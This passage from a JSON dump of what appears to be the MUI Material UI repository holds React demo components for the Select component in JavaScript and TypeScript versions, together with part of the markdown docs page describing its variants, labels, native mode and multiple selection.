input={<OutlinedInput id=\"select-multiple-chip\" label=\"Chip\" />}\n          renderValue={(selected) => (\n            <Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 0.5 }}>\n              {selected.map((value) => (\n                <Chip key={value} label={value} />\n              ))}\n            </Box>\n          )}\n          MenuProps={MenuProps}\n        >\n          {names.map((name) => (\n            <MenuItem\n              key={name}\n              value={name}\n              style={getStyles(name, personName, theme)}\n            >\n              {name}\n            </MenuItem>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectNative.js",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nexport default function MultipleSelectNative() {\n  const [personName, setPersonName] = React.useState([]);\n  const handleChangeMultiple = (event) => {\n    const { options } = event.target;\n    const value = [];\n    for (let i = 0, l = options.length; i < l; i += 1) {\n      if (options[i].selected) {\n        value.push(options[i].value);\n      }\n    }\n    setPersonName(value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120, maxWidth: 300 }}>\n        <InputLabel shrink htmlFor=\"select-multiple-native\">\n          Native\n        </InputLabel>\n        <Select\n          multiple\n          native\n          value={personName}\n          onChange={handleChangeMultiple}\n          label=\"Native\"\n          inputProps={{\n            id: 'select-multiple-native',\n          }}\n        >\n          {names.map((name) => (\n            <option key={name} value={name}>\n              {name}\n            </option>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectNative.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nexport default function MultipleSelectNative() {\n  const [personName, setPersonName] = React.useState<string[]>([]);\n  const handleChangeMultiple = (event: React.ChangeEvent<HTMLSelectElement>) => {\n    const { options } = event.target;\n    const value: string[] = [];\n    for (let i = 0, l = options.length; i < l; i += 1) {\n      if (options[i].selected) {\n        value.push(options[i].value);\n      }\n    }\n    setPersonName(value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120, maxWidth: 300 }}>\n        <InputLabel shrink htmlFor=\"select-multiple-native\">\n          Native\n        </InputLabel>\n        <Select<string[]>\n          multiple\n          native\n          value={personName}\n          // @ts-ignore Typings are not considering `native`\n          onChange={handleChangeMultiple}\n          label=\"Native\"\n          inputProps={{\n            id: 'select-multiple-native',\n          }}\n        >\n          {names.map((name) => (\n            <option key={name} value={name}>\n              {name}\n            </option>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectPlaceholder.js",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nfunction getStyles(name, personName, theme) {\n  return {\n    fontWeight: personName.includes(name)\n      ? theme.typography.fontWeightMedium\n      : theme.typography.fontWeightRegular,\n  };\n}\n\nexport default function MultipleSelectPlaceholder() {\n  const theme = useTheme();\n  const [personName, setPersonName] = React.useState([]);\n\n  const handleChange = (event) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300, mt: 3 }}>\n        <Select\n          multiple\n          displayEmpty\n          value={personName}\n          onChange={handleChange}\n          input={<OutlinedInput />}\n          renderValue={(selected) => {\n            if (selected.length === 0) {\n              return <em>Placeholder</em>;\n            }\n\n            return selected.join(', ');\n          }}\n          MenuProps={MenuProps}\n          inputProps={{ 'aria-label': 'Without label' }}\n        >\n          <MenuItem disabled value=\"\">\n            <em>Placeholder</em>\n          </MenuItem>\n          {names.map((name) => (\n            <MenuItem\n              key={name}\n              value={name}\n              style={getStyles(name, personName, theme)}\n            >\n              {name}\n            </MenuItem>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectPlaceholder.tsx",
    "content": "import * as React from 'react';\nimport { Theme, useTheme } from '@mui/material/styles';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nfunction getStyles(name: string, personName: readonly string[], theme: Theme) {\n  return {\n    fontWeight: personName.includes(name)\n      ? theme.typography.fontWeightMedium\n      : theme.typography.fontWeightRegular,\n  };\n}\n\nexport default function MultipleSelectPlaceholder() {\n  const theme = useTheme();\n  const [personName, setPersonName] = React.useState<string[]>([]);\n\n  const handleChange = (event: SelectChangeEvent<typeof personName>) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300, mt: 3 }}>\n        <Select\n          multiple\n          displayEmpty\n          value={personName}\n          onChange={handleChange}\n          input={<OutlinedInput />}\n          renderValue={(selected) => {\n            if (selected.length === 0) {\n              return <em>Placeholder</em>;\n            }\n\n            return selected.join(', ');\n          }}\n          MenuProps={MenuProps}\n          inputProps={{ 'aria-label': 'Without label' }}\n        >\n          <MenuItem disabled value=\"\">\n            <em>Placeholder</em>\n          </MenuItem>\n          {names.map((name) => (\n            <MenuItem\n              key={name}\n              value={name}\n              style={getStyles(name, personName, theme)}\n            >\n              {name}\n            </MenuItem>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/NativeSelectDemo.js",
    "content": "import Box from '@mui/material/Box';\nimport InputLabel from '@mui/material/InputLabel';\nimport FormControl from '@mui/material/FormControl';\nimport NativeSelect from '@mui/material/NativeSelect';\n\nexport default function NativeSelectDemo() {\n  return (\n    <Box sx={{ minWidth: 120 }}>\n      <FormControl fullWidth>\n        <InputLabel variant=\"standard\" htmlFor=\"uncontrolled-native\">\n          Age\n        </InputLabel>\n        <NativeSelect\n          defaultValue={30}\n          inputProps={{\n            name: 'age',\n            id: 'uncontrolled-native',\n          }}\n        >\n          <option value={10}>Ten</option>\n          <option value={20}>Twenty</option>\n          <option value={30}>Thirty</option>\n        </NativeSelect>\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/NativeSelectDemo.tsx",
    "content": "import Box from '@mui/material/Box';\nimport InputLabel from '@mui/material/InputLabel';\nimport FormControl from '@mui/material/FormControl';\nimport NativeSelect from '@mui/material/NativeSelect';\n\nexport default function NativeSelectDemo() {\n  return (\n    <Box sx={{ minWidth: 120 }}>\n      <FormControl fullWidth>\n        <InputLabel variant=\"standard\" htmlFor=\"uncontrolled-native\">\n          Age\n        </InputLabel>\n        <NativeSelect\n          defaultValue={30}\n          inputProps={{\n            name: 'age',\n            id: 'uncontrolled-native',\n          }}\n        >\n          <option value={10}>Ten</option>\n          <option value={20}>Twenty</option>\n          <option value={30}>Thirty</option>\n        </NativeSelect>\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/NativeSelectDemo.tsx.preview",
    "content": "<FormControl fullWidth>\n  <InputLabel variant=\"standard\" htmlFor=\"uncontrolled-native\">\n    Age\n  </InputLabel>\n  <NativeSelect\n    defaultValue={30}\n    inputProps={{\n      name: 'age',\n      id: 'uncontrolled-native',\n    }}\n  >\n    <option value={10}>Ten</option>\n    <option value={20}>Twenty</option>\n    <option value={30}>Thirty</option>\n  </NativeSelect>\n</FormControl>"
  },
  {
    "path": "docs/data/material/components/selects/SelectAutoWidth.js",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function SelectAutoWidth() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 80 }}>\n        <InputLabel id=\"demo-simple-select-autowidth-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-autowidth-label\"\n          id=\"demo-simple-select-autowidth\"\n          value={age}\n          onChange={handleChange}\n          autoWidth\n          label=\"Age\"\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={21}>Twenty one</MenuItem>\n          <MenuItem value={22}>Twenty one and a half</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectAutoWidth.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nexport default function SelectAutoWidth() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 80 }}>\n        <InputLabel id=\"demo-simple-select-autowidth-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-autowidth-label\"\n          id=\"demo-simple-select-autowidth\"\n          value={age}\n          onChange={handleChange}\n          autoWidth\n          label=\"Age\"\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={21}>Twenty one</MenuItem>\n          <MenuItem value={22}>Twenty one and a half</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectLabels.js",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function SelectLabels() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-helper-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-helper-label\"\n          id=\"demo-simple-select-helper\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>With label + helper text</FormHelperText>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <Select\n          value={age}\n          onChange={handleChange}\n          displayEmpty\n          inputProps={{ 'aria-label': 'Without label' }}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Without label</FormHelperText>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectLabels.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nexport default function SelectLabels() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-helper-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-helper-label\"\n          id=\"demo-simple-select-helper\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>With label + helper text</FormHelperText>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <Select\n          value={age}\n          onChange={handleChange}\n          displayEmpty\n          inputProps={{ 'aria-label': 'Without label' }}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Without label</FormHelperText>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectOtherProps.js",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function SelectOtherProps() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120 }} disabled>\n        <InputLabel id=\"demo-simple-select-disabled-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-disabled-label\"\n          id=\"demo-simple-select-disabled\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Disabled</FormHelperText>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }} error>\n        <InputLabel id=\"demo-simple-select-error-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-error-label\"\n          id=\"demo-simple-select-error\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n          renderValue={(value) => `⚠️  - ${value}`}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Error</FormHelperText>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-readonly-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-readonly-label\"\n          id=\"demo-simple-select-readonly\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n          inputProps={{ readOnly: true }}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Read only</FormHelperText>\n      </FormControl>\n      <FormControl required sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-required-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-required-label\"\n          id=\"demo-simple-select-required\"\n          value={age}\n          label=\"Age *\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Required</FormHelperText>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectOtherProps.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nexport default function SelectOtherProps() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120 }} disabled>\n        <InputLabel id=\"demo-simple-select-disabled-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-disabled-label\"\n          id=\"demo-simple-select-disabled\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Disabled</FormHelperText>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }} error>\n        <InputLabel id=\"demo-simple-select-error-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-error-label\"\n          id=\"demo-simple-select-error\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n          renderValue={(value) => `⚠️  - ${value}`}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Error</FormHelperText>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-readonly-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-readonly-label\"\n          id=\"demo-simple-select-readonly\"\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n          inputProps={{ readOnly: true }}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Read only</FormHelperText>\n      </FormControl>\n      <FormControl required sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-required-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-required-label\"\n          id=\"demo-simple-select-required\"\n          value={age}\n          label=\"Age *\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n        <FormHelperText>Required</FormHelperText>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectSmall.js",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function SelectSmall() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <FormControl sx={{ m: 1, minWidth: 120 }} size=\"small\">\n      <InputLabel id=\"demo-select-small-label\">Age</InputLabel>\n      <Select\n        labelId=\"demo-select-small-label\"\n        id=\"demo-select-small\"\n        value={age}\n        label=\"Age\"\n        onChange={handleChange}\n      >\n        <MenuItem value=\"\">\n          <em>None</em>\n        </MenuItem>\n        <MenuItem value={10}>Ten</MenuItem>\n        <MenuItem value={20}>Twenty</MenuItem>\n        <MenuItem value={30}>Thirty</MenuItem>\n      </Select>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectSmall.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nexport default function SelectSmall() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <FormControl sx={{ m: 1, minWidth: 120 }} size=\"small\">\n      <InputLabel id=\"demo-select-small-label\">Age</InputLabel>\n      <Select\n        labelId=\"demo-select-small-label\"\n        id=\"demo-select-small\"\n        value={age}\n        label=\"Age\"\n        onChange={handleChange}\n      >\n        <MenuItem value=\"\">\n          <em>None</em>\n        </MenuItem>\n        <MenuItem value={10}>Ten</MenuItem>\n        <MenuItem value={20}>Twenty</MenuItem>\n        <MenuItem value={30}>Thirty</MenuItem>\n      </Select>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectVariants.js",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function SelectVariants() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl variant=\"standard\" sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-standard-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-standard-label\"\n          id=\"demo-simple-select-standard\"\n          value={age}\n          onChange={handleChange}\n          label=\"Age\"\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl variant=\"filled\" sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-filled-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-filled-label\"\n          id=\"demo-simple-select-filled\"\n          value={age}\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/SelectVariants.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nexport default function SelectVariants() {\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setAge(event.target.value);\n  };\n\n  return (\n    <div>\n      <FormControl variant=\"standard\" sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-standard-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-standard-label\"\n          id=\"demo-simple-select-standard\"\n          value={age}\n          onChange={handleChange}\n          label=\"Age\"\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl variant=\"filled\" sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-simple-select-filled-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-simple-select-filled-label\"\n          id=\"demo-simple-select-filled\"\n          value={age}\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/selects.md",
    "content": "---\nproductId: material-ui\ntitle: React Select component\ncomponents: Select, NativeSelect\ngithubLabel: 'scope: select'\nmaterialDesign: https://m2.material.io/components/menus#exposed-dropdown-menu\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/combobox/examples/combobox-select-only/\ngithubSource: packages/mui-material/src/Select\n---\n\n# Select\n\n<p class=\"description\">Select components are used for collecting user provided information from a list of options.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic select\n\nMenus are positioned under their emitting elements, unless they are close to the bottom of the viewport.\n\n{{\"demo\": \"BasicSelect.js\"}}\n\n## Advanced features\n\nThe Select component is meant to be interchangeable with a native `<select>` element.\n\nIf you are looking for more advanced features, like combobox, multiselect, autocomplete, async or creatable support, head to the [`Autocomplete` component](/material-ui/react-autocomplete/).\nIt's meant to be an improved version of the \"react-select\" and \"downshift\" packages.\n\n## Props\n\nThe Select component is implemented as a custom `<input>` element of the [InputBase](/material-ui/api/input-base/).\nIt extends the [text field components](/material-ui/react-text-field/) subcomponents, either the [OutlinedInput](/material-ui/api/outlined-input/), [Input](/material-ui/api/input/), or [FilledInput](/material-ui/api/filled-input/), depending on the variant selected.\nIt shares the same styles and many of the same props. Refer to the respective component's API page for details.\n\n:::warning\nUnlike input components, the `placeholder` prop is not available in Select. To add a placeholder, refer to the [placeholder](#placeholder) section below.\n:::\n\n### Filled and standard variants\n\n{{\"demo\": \"SelectVariants.js\"}}\n\n### Labels and helper text\n\n{{\"demo\": \"SelectLabels.js\"}}\n\n:::warning\nNote that when using FormControl with the outlined variant of the Select, you need to provide a label in two places: in the InputLabel component and in the `label` prop of the Select component (see the above demo).\n:::\n\n### Auto width\n\n{{\"demo\": \"SelectAutoWidth.js\"}}\n\n### Small Size\n\n{{\"demo\": \"SelectSmall.js\"}}\n\n### Other props\n\n{{\"demo\": \"SelectOtherProps.js\"}}\n\n## Native select\n\nAs the user experience can be improved on mobile using the native select of the platform,\nwe allow such pattern.\n\n{{\"demo\": \"NativeSelectDemo.js\"}}\n\n## TextField\n\nThe `TextField` wrapper component is a complete form control including a label, input and help text.\nYou can find an example with the select mode [in this section](/material-ui/react-text-field/#select).\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\nThe first step is to style the `InputBase` component.\nOnce it's styled, you can either use it directly as a text field or provide it to the select `input` prop to have a `select` field.\nNotice that the `\"standard\"` variant is easier to customize, since it does not wrap the contents in a `fieldset`/`legend` markup.\n\n{{\"demo\": \"CustomizedSelects.js\"}}\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://mui-treasury.com/?path=/docs/select-introduction--docs).\n\n## Multiple select\n\nThe `Select` component can handle multiple selections.\nIt's enabled with the `multiple` prop.\n\nLike with the single selection, you can pull out the new value by accessing `event.target.value` in the `onChange` callback. It's always an array.\n\n### Default\n\n{{\"demo\": \"MultipleSelect.js\"}}\n\n### Selection indicators\n\nThis example demonstrates how icons are used to indicate the selection state of each item in the listbox.\n\n{{\"demo\": \"MultipleSelectCheckmarks.js\"}}\n\n### Chip\n\n{{\"demo\": \"MultipleSelectChip.js\"}}\n\n### Placeholder\n\n{{\"demo\": \"MultipleSelectPlaceholder.js\"}}\n\n### Native\n\n{{\"demo\": \"MultipleSelectNative.js\"}}\n\n## Controlling the open state\n\nYou can control the open state of the select with the `open` prop. Alternatively, it is also possible to set the initial (uncontrolled) open state of the component with the `defaultOpen` prop.\n\n:::info\n\n- A component is **controlled** when it's managed by its parent using props.\n- A component is **uncontrolled** when it's managed by its own local state.\n\nLearn more about controlled and uncontrolled components in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).\n:::\n\n{{\"demo\": 